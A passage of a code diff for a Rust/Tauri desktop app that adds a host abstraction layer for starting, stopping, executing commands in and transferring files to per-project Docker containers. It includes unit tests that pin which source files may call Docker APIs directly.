+    "{op} a container is not supported for an agent target; the host that runs it owns its lifecycle";
+
+/// What a host could not clean up when asked to discard a project's state.
+/// Docker: the snapshot image and the named volumes.
+#[derive(Debug, Default, Clone, PartialEq, Eq)]
+pub struct DiscardLeftovers {
+    pub image: Option<String>,
+    pub volumes: Vec<String>,
+}
+
+impl ProjectHost {
+    pub fn for_project(_project: &Project) -> Self {
+        ProjectHost::Docker
+    }
+
+    /// Make sure the project's container exists, matches the project's
+    /// current configuration, and is running. Returns where it runs.
+    ///
+    /// `progress` receives the same human-readable steps the start view has
+    /// always shown. Failure leaves the caller to reset the project status.
+    pub async fn ensure_started(
+        &self,
+        project: &Project,
+        settings: &AppSettings,
+        progress: &(dyn Fn(&str) + Send + Sync),
+    ) -> Result<ContainerTarget, String> {
+        match self {
+            ProjectHost::Docker => docker_ensure_started(project, settings, progress)
+                .await
+                .map(ContainerTarget::docker),
+        }
+    }
+
+    /// The container the host currently has for this project, found by asking
+    /// the host rather than trusting `project.container_id` — that field can
+    /// be stale (a crash between remove and the store update, a hand-edited
+    /// `projects.json`).
+    pub async fn find_current(&self, project: &Project) -> Result<Option<ContainerTarget>, String> {
+        match self {
+            ProjectHost::Docker => Ok(docker::find_existing_container(project)
+                .await?
+                .map(ContainerTarget::docker)),
+        }
+    }
+
+    pub async fn stop(&self, target: &ContainerTarget) -> Result<(), String> {
+        match target {
+            ContainerTarget::Docker { container_id } => docker::stop_container(container_id).await,
+            ContainerTarget::Agent(_) => Err(AGENT_LIFECYCLE.replace("{op}", "Stopping")),
+        }
+    }
+
+    /// Stop (errors ignored — a stopped container is the goal) and remove.
+    pub async fn remove(&self, target: &ContainerTarget) -> Result<(), String> {
+        match target {
+            ContainerTarget::Docker { container_id } => {
+                let _ = docker::stop_container(container_id).await;
+                docker::remove_container(container_id).await
+            }
+            ContainerTarget::Agent(_) => Err(AGENT_LIFECYCLE.replace("{op}", "Removing")),
+        }
+    }
+
+    /// Delete what outlives the container — for Docker the snapshot image and
+    /// both named volumes (`~/.claude`, the OAuth login and transcripts go with
+    /// them). Best-effort; reports what it could not remove.
+    pub async fn discard_project_state(&self, project: &Project) -> DiscardLeftovers {
+        match self {
+            ProjectHost::Docker => {
+                let mut left = DiscardLeftovers::default();
+                if let Err(e) = docker::remove_snapshot_image(project).await {
+                    log::warn!("Failed to remove snapshot image for project {}: {}", project.id, e);
+                    left.image = Some(docker::get_snapshot_image_name(project));
+                }
+                left.volumes = docker::remove_project_volumes(project).await;
+                left
+            }
+        }
+    }
+
+    /// Remove leftovers of features this host no longer has (Docker: the
+    /// deleted MCP feature's containers and network).
+    pub async fn remove_legacy_leftovers(&self, project: &Project) {
+        match self {
+            ProjectHost::Docker => {
+                docker::remove_legacy_mcp_containers(&project.id).await;
+                docker::remove_legacy_project_network(&project.id).await;
+            }
+        }
+    }
+}
+
+/// The Docker start sequence, moved here verbatim from
+/// `start_project_container_locked`. Returns the running container's id.
+async fn docker_ensure_started(
+    project: &Project,
+    settings: &AppSettings,
+    progress: &(dyn Fn(&str) + Send + Sync),
+) -> Result<String, String> {
+    let image_name =
+        container_config::resolve_image_name(&settings.image_source, &settings.custom_image_name);
+
+    // Ensure image exists
+    progress("Checking image...");
+    if !docker::image_exists(&image_name).await? {
+        return Err(format!("Docker image '{}' not found. Please pull or build the image first.", image_name));
+    }
+
+    // Determine docker socket path
+    let docker_socket = settings.docker_socket_path
+        .as_deref()
+        .map(|s| s.to_string())
+        .unwrap_or_else(|| docker::default_docker_socket());
+
+    // AWS config path from global settings
+    let aws_config_path = settings.global_aws.aws_config_path.clone();
+
+    // What we would create this container from *right now*: the project's
+    // snapshot when one exists, else the configured base. This is the value
+    // `container_needs_recreation` compares against the container's
+    // `triple-c.create-image` label — the check that replaced the old
+    // tautological one. It is resolved *before* the commit below, so it
+    // describes the pre-commit world the existing container was born into.
+    let snapshot_image = docker::get_snapshot_image_name(project);
+    let expected_create_image =
+        if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
+            snapshot_image.clone()
+        } else {
+            image_name.clone()
+        };
+
+    let container_id = if let Some(existing_id) = docker::find_existing_container(project).await? {
+        // Check if config changed — if so, snapshot + recreate
+        let needs_recreate = docker::container_needs_recreation(
+            &existing_id,
+            project,
+            &expected_create_image,
+            &settings.global_aws,
+            &settings.global_ollama,
+            &settings.global_llamacpp,
+            &settings.global_openai_compatible,
+            settings.global_claude_instructions.as_deref(),
+            &settings.global_custom_env_vars,
+            settings.timezone.as_deref(),
+            settings.global_claude_code_settings.as_ref(),
+            settings.default_ssh_key_path.as_deref(),
+            settings.ca_cert_path.as_deref(),
+            settings.default_git_user_name.as_deref(),
+            settings.default_git_user_email.as_deref(),
+        ).await.unwrap_or(false);
+
+        if needs_recreate {
+            log::info!("Container config changed for project {} — committing snapshot and recreating", project.id);
+            // Snapshot the filesystem before destroying
+            progress("Saving container state...");
+            if let Err(e) = docker::commit_container_snapshot(&existing_id, project).await {
+                log::warn!("Failed to snapshot container before recreation: {}", e);
+            }
+            progress("Recreating container...");
+            let _ = docker::stop_container(&existing_id).await;
+            docker::remove_container(&existing_id).await?;
+
+            // Legacy MCP cleanup: the old container may have been attached to
+            // `triple-c-net-<projectId>`. Tear down leftover MCP containers and
+            // that network now, before the replacement is created without it.
+            docker::remove_legacy_mcp_containers(&project.id).await;
+            docker::remove_legacy_project_network(&project.id).await;
+
+            // Create from snapshot image (preserves system-level changes).
+            // Re-resolved after the commit above: when no snapshot existed
+            // before, one does now, and creating from the base instead
+            // would throw away the state that was just saved.
+            let create_image = if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
+                snapshot_image.clone()
+            } else {
+                image_name.clone()
+            };
+
+            let new_id = docker::create_container_for_project(
+                project,
+                settings,
+                &docker_socket,
+                aws_config_path.as_deref(),
+                &create_image,
+                &image_name,
+                docker::CreateExtras::default(),
+            ).await?;
+            progress("Starting container...");
+            docker::start_container(&new_id).await?;
+
+            // The commit above moved `:latest` and orphaned the image it
+            // used to point at; the container holding that image open was
+            // removed a few lines up, so now is when Docker will actually
+            // let it go. Detached because this is housekeeping and the
+            // project is already running — and it sweeps every orphan, not
+            // just this one, so recreations that happened before the sweep
+            // existed are cleaned up too.
+            tauri::async_runtime::spawn(async {
+                docker::sweep_orphaned_snapshots_logged("after recreation").await;
+            });
+
+            new_id
+        } else {
+            progress("Starting container...");
+            docker::start_container(&existing_id).await?;
+            existing_id
+        }
+    } else {
+        // Container doesn't exist (first start, or Docker pruned it).
+        // Check for a snapshot image first — it preserves system-level
+        // changes (apt/pip/npm installs) from the previous session.
+        if expected_create_image == snapshot_image {
+            log::info!("Creating container from snapshot image for project {}", project.id);
+        }
+        let create_image = expected_create_image.clone();
+
+        progress("Creating container...");
+        let new_id = docker::create_container_for_project(
+            project,
+            settings,
+            &docker_socket,
+            aws_config_path.as_deref(),
+            &create_image,
+            &image_name,
+            docker::CreateExtras::default(),
+        ).await?;
+        progress("Starting container...");
+        docker::start_container(&new_id).await?;
+        new_id
+    };
+
+    Ok(container_id)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    /// End to end against a real daemon and the registry sandbox image: a
+    /// throwaway project (fresh UUID, so its container, volumes and snapshot
+    /// name are its own) is started, reached, stopped, started again on the
+    /// *same* container, then removed and its state discarded.
+    #[tokio::test]
+    #[ignore = "needs a Docker daemon and the triple-c-sandbox image; creates and removes a throwaway project container"]
+    async fn a_project_container_round_trips_through_the_host() {
+        let project = Project::new("lifecycle-live-test".to_string(), Vec::new());
+        let settings = AppSettings::default();
+        let host = ProjectHost::for_project(&project);
+        let steps = std::sync::Mutex::new(Vec::<String>::new());
+        let progress = |m: &str| steps.lock().unwrap().push(m.to_string());
+        // Failures inside the round trip return instead of panicking, so the
+        // cleanup below always runs.
+        fn check(ok: bool, what: &str) -> Result<(), String> {
+            if ok { Ok(()) } else { Err(format!("check failed: {what}")) }
+        }
+
+        let outcome = async {
+            check(host.find_current(&project).await?.is_none(), "no container before the first start")?;
+
+            let first = host.ensure_started(&project, &settings, &progress).await?;
+            check(first.is_running().await?, "running after start")?;
+            let (out, code) = first
+                .exec_oneshot_env_status(vec!["id".into(), "-un".into()], vec![])
+                .await?;
+            check(out.trim() == "claude" && code == 0, "exec runs as claude")?;
+            check(host.find_current(&project).await? == Some(first.clone()), "find_current names it")?;
+
+            host.stop(&first).await?;
+            check(first.has_exited().await, "exited after stop")?;
+
+            // Same config, so the existing container is started, not recreated.
+            let second = host.ensure_started(&project, &settings, &progress).await?;
+            check(second == first, "restart reuses the container")?;
+            check(second.is_running().await?, "running after restart")?;
+
+            host.remove(&second).await?;
+            check(host.find_current(&project).await?.is_none(), "gone after remove")?;
+            Ok::<_, String>(())
+        }
+        .await;
+
+        // Always clean up, even after a failed assertion above.
+        if let Ok(Some(t)) = host.find_current(&project).await {
+            let _ = host.remove(&t).await;
+        }
+        let left = host.discard_project_state(&project).await;
+        outcome.expect("round trip");
+        assert_eq!(left, DiscardLeftovers::default(), "nothing left behind");
+        let steps = steps.into_inner().unwrap();
+        assert_eq!(
+            steps,
+            [
+                "Checking image...",
+                "Creating container...",
+                "Starting container...",
+                "Checking image...",
+                "Starting container...",
+            ]
+        );
+    }
+}

app/src-tauri/src/host/mod.rs

@@ -0,0 +1,567 @@
+//! Where a project's container runs, and the one interface the rest of the app
+//! uses to reach inside it.
+//!
+//! Spec: `docs/superpowers/specs/2026-11-13-aws-ecs-host-design.md` ("Host
+//! abstraction"). This is phase 1 of that plan: every operation that happens
+//! *inside* a project container — one-shot and attached execs, file transfer,
+//! "is it running" — goes through [`ContainerTarget`] instead of naming
+//! `docker::exec` or bollard directly. Today the only variant is
+//! [`ContainerTarget::Docker`], which delegates to the existing code in
+//! `docker/exec.rs` and `docker/container.rs` with no change in behaviour.
+//! [`ContainerTarget::Agent`] reaches a container through the in-container
+//! `triple-c-agent` instead (`agent.rs`), which is how the AWS host will get in.
+//!
+//! ## Why an enum and not a trait object
+//!
+//! The set of hosts is closed and known at compile time, every method is async,
+//! and a `dyn` async trait would need boxing on every call (or the
+//! `async-trait` crate) for no benefit. Adding a host means adding a variant and
+//! letting the compiler point at every `match` that needs an arm.
+//!
+//! ## What does *not* go through here
+//!
+//! Things that only make sense for the local Docker host: image build/pull,
+//! base-image migration, snapshot commits, volumes, the LiteLLM gateway and STT
+//! sidecars, and (until phase 1b) container create/start/stop and the `die`
+//! event stream. Those keep calling `crate::docker` directly. The
+//! `no_container_interior_bollard_outside_the_host_layer` test pins which files
+//! may still do so.
+
+pub mod agent;
+pub mod lifecycle;
+pub mod sessions;
+pub mod watch;
+
+pub use crate::docker::exec::{
+    MAX_DROP_BYTES, OUTPUT_LIMIT_MARKER, PROC_NET_OUTPUT_LIMIT,
+};
+pub use agent::AgentEndpoint;
+pub use sessions::ExecSessionManager;
+
+use bytes::Bytes;
+use futures_util::Stream;
+use std::pin::Pin;
+use tokio::io::AsyncWrite;
+
+use crate::docker;
+use crate::models::Project;
+
+/// One chunk of output from an exec, already demultiplexed.
+///
+/// Host-neutral stand-in for bollard's `LogOutput`. With `tty = true` there is
+/// no stdout/stderr split and everything arrives as [`ExecChunk::StdOut`] (Docker
+/// reports a TTY stream as `Console`, which maps here too — consumers that cared
+/// treated the two the same).
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum ExecChunk {
+    StdOut(Bytes),
+    StdErr(Bytes),
+    /// stdin echo or anything else a host might surface. Consumers ignore it.
+    Other(Bytes),
+}
+
+impl ExecChunk {
+    pub fn into_bytes(self) -> Bytes {
+        match self {
+            ExecChunk::StdOut(b) | ExecChunk::StdErr(b) | ExecChunk::Other(b) => b,
+        }
+    }
+}
+
+pub type ExecOutputStream = Pin<Box<dyn Stream<Item = Result<ExecChunk, String>> + Send>>;
+
+/// An exec that has been created and started with its streams attached.
+///
+/// `input` is a sink that is never read when the exec was opened with
+/// `attach_stdin: false`.
+pub struct AttachedExec {
+    pub exec_id: String,
+    pub output: ExecOutputStream,
+    pub input: Pin<Box<dyn AsyncWrite + Send>>,
+}
+
+/// Everything about an attached exec except where it runs.
+///
+/// Defaults match what this app has always used: run as `claude` in
+/// `/workspace`, no TTY, stdin attached, no extra env.
+#[derive(Debug, Clone)]
+pub struct ExecSpec {
+    pub cmd: Vec<String>,
+    pub user: String,
+    pub working_dir: Option<String>,
+    pub env: Vec<String>,
+    pub tty: bool,
+    pub attach_stdin: bool,
+}
+
+impl ExecSpec {
+    pub fn new(cmd: Vec<String>) -> Self {
+        Self {
+            cmd,
+            user: "claude".to_string(),
+            working_dir: Some("/workspace".to_string()),
+            env: Vec::new(),
+            tty: false,
+            attach_stdin: true,
+        }
+    }
+    pub fn user(mut self, user: &str) -> Self {
+        self.user = user.to_string();
+        self
+    }
+    pub fn working_dir(mut self, dir: Option<&str>) -> Self {
+        self.working_dir = dir.map(str::to_string);
+        self
+    }
+    pub fn env(mut self, env: Vec<String>) -> Self {
+        self.env = env;
+        self
+    }
+    pub fn tty(mut self, tty: bool) -> Self {
+        self.tty = tty;
+        self
+    }
+    pub fn no_stdin(mut self) -> Self {
+        self.attach_stdin = false;
+        self
+    }
+}
+
+/// A byte stream of a tar archive read out of a container.
+pub type ArchiveStream = Pin<Box<dyn Stream<Item = Result<Bytes, String>> + Send>>;
+
+/// A specific project container on a specific host.
+#[derive(Debug, Clone, PartialEq, Eq, Hash)]
+pub enum ContainerTarget {
+    /// A container on the local Docker daemon, by id or name.
+    Docker { container_id: String },
+    /// A container reached through the in-container `triple-c-agent`
+    /// (`host/agent.rs`; protocol in
+    /// `docs/superpowers/specs/2026-11-13-triple-c-agent-protocol.md`). Used
+    /// by the AWS host (later) and the local agent harness. The host that
+    /// runs the container, not this target, owns its lifecycle.
+    Agent(AgentEndpoint),
+}
+
+impl ContainerTarget {
+    pub fn docker(container_id: impl Into<String>) -> Self {
+        ContainerTarget::Docker {
+            container_id: container_id.into(),
+        }
+    }
+
+    /// The target for a project's container, if it has one yet.
+    pub fn for_project(project: &Project) -> Option<Self> {
+        project.container_id.as_deref().map(Self::docker)
+    }
+
+    /// The host-specific identifier (a Docker container id today). For logs
+    /// and for keying per-container state; never parse it.
+    pub fn id(&self) -> &str {
+        match self {
+            ContainerTarget::Docker { container_id } => container_id,
+            ContainerTarget::Agent(ep) => ep.base_url.as_str(),
+        }
+    }
+
+    // ── state ────────────────────────────────────────────────────────────────
+
+    /// Whether the container is running. An inspect failure (gone, daemon
+    /// down) reads as `false`, as `docker::is_container_running` always has.
+    pub async fn is_running(&self) -> Result<bool, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::container::is_container_running(container_id).await
+            }
+            ContainerTarget::Agent(ep) => agent::is_running(ep).await,
+        }
+    }
+
+    // ── one-shot execs ───────────────────────────────────────────────────────
+
+    /// Run as `claude`, return combined output. Errors on a non-UTF-8-safe
+    /// transport failure only; a non-zero exit is *not* an error here.
+    pub async fn exec_oneshot(&self, cmd: Vec<String>) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot(container_id, cmd).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_oneshot_as(ep, "claude", cmd, Vec::new())
+                .await
+                .map(|(out, _)| out),
+        }
+    }
+
+    pub async fn exec_oneshot_env(
+        &self,
+        cmd: Vec<String>,
+        env: Vec<String>,
+    ) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot_env(container_id, cmd, env).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_oneshot_as(ep, "claude", cmd, env)
+                .await
+                .map(|(out, _)| out),
+        }
+    }
+
+    pub async fn exec_oneshot_env_status(
+        &self,
+        cmd: Vec<String>,
+        env: Vec<String>,
+    ) -> Result<(String, i64), String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot_env_status(container_id, cmd, env).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_oneshot_as(ep, "claude", cmd, env).await,
+        }
+    }
+
+    pub async fn exec_oneshot_as(
+        &self,
+        user: &str,
+        cmd: Vec<String>,
+        env: Vec<String>,
+    ) -> Result<(String, i64), String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot_as(container_id, user, cmd, env).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_oneshot_as(ep, user, cmd, env).await,
+        }
+    }
+
+    pub async fn exec_oneshot_limited(
+        &self,
+        user: &str,
+        cmd: Vec<String>,
+        limit: usize,
+    ) -> Result<(String, i64), String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot_limited(container_id, user, cmd, limit).await
+            }
+            ContainerTarget::Agent(ep) => {
+                agent::exec_oneshot_limited(ep, user, cmd, Vec::new(), limit).await
+            }
+        }
+    }
+
+    /// stdout and stderr kept apart: `(stdout, stderr, exit_code)`.
+    pub async fn exec_oneshot_streams_as(
+        &self,
+        user: &str,
+        cmd: Vec<String>,
+        env: Vec<String>,
+    ) -> Result<(String, String, i64), String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_oneshot_streams_as(container_id, user, cmd, env).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_oneshot_streams_as(ep, user, cmd, env).await,
+        }
+    }
+
+    /// Start a command and return without waiting or reading its output.
+    /// Returns the exec id.
+    pub async fn exec_detached(&self, spec: ExecSpec) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::exec_detached(container_id, &spec).await
+            }
+            ContainerTarget::Agent(ep) => agent::exec_detached(ep, &spec).await,
+        }
+    }
+
+    // ── attached execs ───────────────────────────────────────────────────────
+
+    /// Run as `claude` in `/workspace` with stdin attached.
+    pub async fn attach_exec(&self, cmd: Vec<String>, tty: bool) -> Result<AttachedExec, String> {
+        self.attach(ExecSpec::new(cmd).tty(tty)).await
+    }
+
+    pub async fn attach(&self, spec: ExecSpec) -> Result<AttachedExec, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::create_attached_exec_spec(container_id, &spec).await
+            }
+            ContainerTarget::Agent(ep) => agent::attach(ep, &spec).await,
+        }
+    }
+
+    /// The exit code of an exec this target started, once it has finished.
+    /// `None` if the host could not say.
+    pub async fn wait_exec_exit(&self, exec_id: &str) -> Option<i64> {
+        match self {
+            ContainerTarget::Docker { .. } => docker::exec::wait_for_exec_exit(exec_id).await,
+            ContainerTarget::Agent(ep) => agent::wait_exec_exit(ep, exec_id).await,
+        }
+    }
+
+    pub async fn resize_exec(&self, exec_id: &str, cols: u16, rows: u16) -> Result<(), String> {
+        match self {
+            ContainerTarget::Docker { .. } => docker::exec::resize_exec(exec_id, cols, rows).await,
+            ContainerTarget::Agent(ep) => agent::resize_exec(ep, exec_id, cols, rows).await,
+        }
+    }
+
+    // ── files ────────────────────────────────────────────────────────────────
+
+    /// The container user's `(uid, gid)`, falling back to `(1000, 1000)`.
+    pub async fn user_ids(&self) -> (u64, u64) {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::container_user_ids(container_id).await
+            }
+            ContainerTarget::Agent(ep) => agent::user_ids(ep).await,
+        }
+    }
+
+    /// Write `data` to `dest_dir/file_name` as root-owned with `mode`.
+    pub async fn upload_bytes(
+        &self,
+        dest_dir: &str,
+        file_name: &str,
+        data: &[u8],
+        mode: u32,
+    ) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::upload_bytes_to_container(
+                    container_id,
+                    dest_dir,
+                    file_name,
+                    data,
+                    mode,
+                )
+                .await
+            }
+            ContainerTarget::Agent(ep) => {
+                agent::upload_bytes_with_ids(ep, dest_dir, file_name, data, mode, (0, 0)).await
+            }
+        }
+    }
+
+    /// [`Self::upload_bytes`] with the owner set to `ids`.
+    pub async fn upload_bytes_with_ids(
+        &self,
+        dest_dir: &str,
+        file_name: &str,
+        data: &[u8],
+        mode: u32,
+        ids: (u64, u64),
+    ) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::upload_bytes_with_ids(
+                    container_id,
+                    dest_dir,
+                    file_name,
+                    data,
+                    mode,
+                    ids,
+                )
+                .await
+            }
+            ContainerTarget::Agent(ep) => {
+                agent::upload_bytes_with_ids(ep, dest_dir, file_name, data, mode, ids).await
+            }
+        }
+    }
+
+    /// Copy a host file in, owned by the container user.
+    pub async fn upload_host_file(
+        &self,
+        host_path: &str,
+        dest_dir: &str,
+        dest_name: &str,
+    ) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::upload_host_file_to_container(
+                    container_id,
+                    host_path,
+                    dest_dir,
+                    dest_name,
+                )
+                .await
+            }
+            ContainerTarget::Agent(ep) => {
+                let ids = agent::user_ids(ep).await;
+                agent::upload_host_file_with_ids(ep, host_path, dest_dir, dest_name, ids).await
+            }
+        }
+    }
+
+    /// [`Self::upload_host_file`] with the owner ids already known.
+    pub async fn upload_host_file_with_ids(
+        &self,
+        host_path: &str,
+        dest_dir: &str,
+        dest_name: &str,
+        ids: (u64, u64),
+    ) -> Result<String, String> {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::upload_host_file_with_ids(
+                    container_id,
+                    host_path,
+                    dest_dir,
+                    dest_name,
+                    ids,
+                )
+                .await
+            }
+            ContainerTarget::Agent(ep) => {
+                agent::upload_host_file_with_ids(ep, host_path, dest_dir, dest_name, ids).await
+            }
+        }
+    }
+
+    /// Read `path` out of the container as a tar stream (Docker's archive
+    /// API). Dropping the stream cancels the transfer.
+    pub fn download_archive(&self, path: &str) -> ArchiveStream {
+        match self {
+            ContainerTarget::Docker { container_id } => {
+                docker::exec::download_archive(container_id, path)
+            }
+            ContainerTarget::Agent(ep) => agent::download_archive(ep, path),
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn exec_spec_defaults_match_what_the_app_always_used() {
+        let s = ExecSpec::new(vec!["true".into()]);
+        assert_eq!(s.user, "claude");
+        assert_eq!(s.working_dir.as_deref(), Some("/workspace"));
+        assert!(s.env.is_empty());
+        assert!(!s.tty);
+        assert!(s.attach_stdin);
+    }
+
+    #[test]
+    fn for_project_follows_the_container_id() {
+        let mut p: Project = serde_json::from_value(serde_json::json!({
+            "id": "p1", "name": "p", "paths": [], "container_id": null,
+            "status": "stopped", "backend": "anthropic",
+            "allow_docker_access": false, "full_permissions": false,
+            "created_at": "now", "updated_at": "now"
+        }))
+        .expect("minimal project deserializes");
+        assert_eq!(ContainerTarget::for_project(&p), None);
+        p.container_id = Some("abc".into());
+        assert_eq!(
+            ContainerTarget::for_project(&p),
+            Some(ContainerTarget::docker("abc"))
+        );
+        assert_eq!(ContainerTarget::docker("abc").id(), "abc");
+    }
+
+    /// Every non-`docker/`, non-`host/` source file, with its path relative to
+    /// `src/`, minus the files in `allowed`.
+    fn sources_outside_the_host_layer(allowed: &[&str]) -> Vec<(String, String)> {
+        let src = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("src");
+        let mut out = Vec::new();
+        let mut stack = vec![src.clone()];
+        while let Some(dir) = stack.pop() {
+            for entry in std::fs::read_dir(&dir).unwrap() {
+                let path = entry.unwrap().path();
+                let rel = path
+                    .strip_prefix(&src)
+                    .unwrap()
+                    .to_string_lossy()
+                    .replace('\\', "/");
+                if path.is_dir() {
+                    if rel != "docker" && rel != "host" {
+                        stack.push(path);
+                    }
+                    continue;
+                }
+                if rel.ends_with(".rs") && !allowed.contains(&rel.as_str()) {
+                    out.push((rel, std::fs::read_to_string(&path).unwrap()));
+                }
+            }
+        }
+        out.sort();
+        out
+    }
+
+    /// Docker-only by nature: base-image migration replays apt, restores a
+    /// payload, commits and swaps containers. It has no AWS meaning.
+    const DOCKER_ONLY: &[&str] = &["commands/migration_commands.rs"];
+
+    /// The host boundary, pinned: outside `docker/` and `host/`, nothing names
+    /// bollard or `docker::exec`. Container-interior code goes through
+    /// [`ContainerTarget`]. Shrink [`DOCKER_ONLY`]; do not grow it.
+    #[test]
+    fn no_container_interior_bollard_outside_the_host_layer() {
+        let offenders: Vec<String> = sources_outside_the_host_layer(DOCKER_ONLY)
+            .into_iter()
+            .filter(|(_, text)| {
+                text.contains("bollard::")
+                    || text.contains("docker::exec")
+                    || text.contains("get_docker")
+            })
+            .map(|(rel, _)| rel)
+            .collect();
+        assert!(
+            offenders.is_empty(),
+            "these files reach into the container without going through host::ContainerTarget: {:?}",
+            offenders
+        );
+    }
+
+    /// The lifecycle half of the boundary: outside `docker/` and `host/`, no
+    /// non-test code creates, starts, stops, finds or recreates a container
+    /// itself (that is [`lifecycle::ProjectHost`]'s job), and none builds a
+    /// [`ContainerTarget::docker`] from a bare id, which would hard-code the
+    /// host. Comments and `#[cfg(test)]` code are not checked.
+    ///
+    /// `docker::remove_container` is deliberately absent: startup's
+    /// pending-cleanup retry removes Docker leftovers it recorded *by name*,
+    /// which is Docker housekeeping, not lifecycle.
+    #[test]
+    fn no_container_lifecycle_or_bare_docker_targets_outside_the_host_layer() {
+        const BANNED: &[&str] = &[
+            "docker::create_container(",
+            "docker::start_container(",
+            "docker::stop_container(",
+            "docker::find_existing_container(",
+            "docker::container_needs_recreation(",
+            "docker::commit_container_snapshot(",
+            "docker::remove_snapshot_image(",
+            "docker::remove_project_volumes(",
+            "docker::is_container_running(",
+            "container::is_container_running(",
+            "ContainerTarget::docker(",
+        ];
+        let mut offenders = Vec::new();
+        for (rel, text) in sources_outside_the_host_layer(DOCKER_ONLY) {
+            let code = text.split("#[cfg(test)]").next().unwrap_or("");
+            for (n, line) in code.lines().enumerate() {
+                let line = line.trim_start();
+                if line.starts_with("//") {
+                    continue;
+                }
+                for pat in BANNED {
+                    if line.contains(pat) {
+                        offenders.push(format!("{}:{}: {}", rel, n + 1, pat));
+                    }
+                }
+            }
+        }
+        assert!(
+            offenders.is_empty(),
+            "container lifecycle / bare Docker targets outside host::lifecycle:\n{}",
+            offenders.join("\n")
+        );
+    }
+}

app/src-tauri/src/host/sessions.rs

@@ -0,0 +1,214 @@
+//! Interactive exec sessions — terminals and the audio bridge — keyed by the
+//! frontend's session id. Host-neutral: every session holds the
+//! [`ContainerTarget`] it was opened on and does all its I/O through it.
+//! (Moved here from `docker/exec.rs` in phase 1 of the AWS host work.)
+
+use futures_util::StreamExt;
+use std::collections::HashMap;
+use std::sync::Arc;
+use tokio::io::AsyncWriteExt;
+use tokio::sync::{mpsc, Mutex};
+
+use super::{AttachedExec, ContainerTarget};
+
+pub struct ExecSession {
+    pub exec_id: String,
+    pub target: ContainerTarget,
+    pub input_tx: mpsc::UnboundedSender<Vec<u8>>,
+    shutdown_tx: mpsc::Sender<()>,
+}
+
+impl ExecSession {
+    pub async fn send_input(&self, data: Vec<u8>) -> Result<(), String> {
+        self.input_tx
+            .send(data)
+            .map_err(|e| format!("Failed to send input: {}", e))
+    }
+
+    #[allow(dead_code)]
+    pub async fn resize(&self, cols: u16, rows: u16) -> Result<(), String> {
+        self.target.resize_exec(&self.exec_id, cols, rows).await
+    }
+
+    pub fn shutdown(&self) {
+        let _ = self.shutdown_tx.try_send(());
+    }
+}
+
+pub struct ExecSessionManager {
+    sessions: Arc<Mutex<HashMap<String, ExecSession>>>,
+}
+
+impl ExecSessionManager {
+    pub fn new() -> Self {
+        Self {
+            sessions: Arc::new(Mutex::new(HashMap::new())),
+        }
+    }
+
+    pub async fn create_session<F>(
+        &self,
+        target: &ContainerTarget,
+        session_id: &str,
+        cmd: Vec<String>,
+        on_output: F,
+        on_exit: Box<dyn FnOnce() + Send>,
+    ) -> Result<(), String>
+    where
+        F: Fn(Vec<u8>) + Send + 'static,
+    {
+        self.create_session_with_tty(target, session_id, cmd, true, on_output, on_exit)
+            .await
+    }
+
+    pub async fn create_session_with_tty<F>(
+        &self,
+        target: &ContainerTarget,
+        session_id: &str,
+        cmd: Vec<String>,
+        tty: bool,
+        on_output: F,
+        on_exit: Box<dyn FnOnce() + Send>,
+    ) -> Result<(), String>
+    where
+        F: Fn(Vec<u8>) + Send + 'static,
+    {
+        let AttachedExec {
+            exec_id,
+            mut output,
+            mut input,
+        } = target.attach_exec(cmd, tty).await?;
+
+        let (input_tx, mut input_rx) = mpsc::unbounded_channel::<Vec<u8>>();
+        let (shutdown_tx, mut shutdown_rx) = mpsc::channel::<()>(1);
+
+        // Output reader task
+        let session_id_clone = session_id.to_string();
+        let shutdown_tx_clone = shutdown_tx.clone();
+        tokio::spawn(async move {
+            loop {
+                tokio::select! {
+                    msg = output.next() => {
+                        match msg {
+                            Some(Ok(output)) => {
+                                on_output(output.into_bytes().to_vec());
+                            }
+                            Some(Err(e)) => {
+                                log::error!("Exec output error for {}: {}", session_id_clone, e);
+                                break;
+                            }
+                            None => {
+                                log::info!("Exec output stream ended for {}", session_id_clone);
+                                break;
+                            }
+                        }
+                    }
+                    _ = shutdown_rx.recv() => {
+                        log::info!("Exec session {} shutting down", session_id_clone);
+                        break;
+                    }
+                }
+            }
+            on_exit();
+            let _ = shutdown_tx_clone;
+        });
+
+        // Input writer task
+        tokio::spawn(async move {
+            while let Some(data) = input_rx.recv().await {
+                if let Err(e) = input.write_all(&data).await {
+                    log::error!("Failed to write to exec stdin: {}", e);
+                    break;
+                }
+            }
+        });
+
+        let session = ExecSession {
+            exec_id,
+            target: target.clone(),
+            input_tx,
+            shutdown_tx,
+        };
+
+        self.sessions
+            .lock()
+            .await
+            .insert(session_id.to_string(), session);
+
+        Ok(())
+    }
+
+    pub async fn send_input(&self, session_id: &str, data: Vec<u8>) -> Result<(), String> {
+        let sessions = self.sessions.lock().await;
+        let session = sessions
+            .get(session_id)
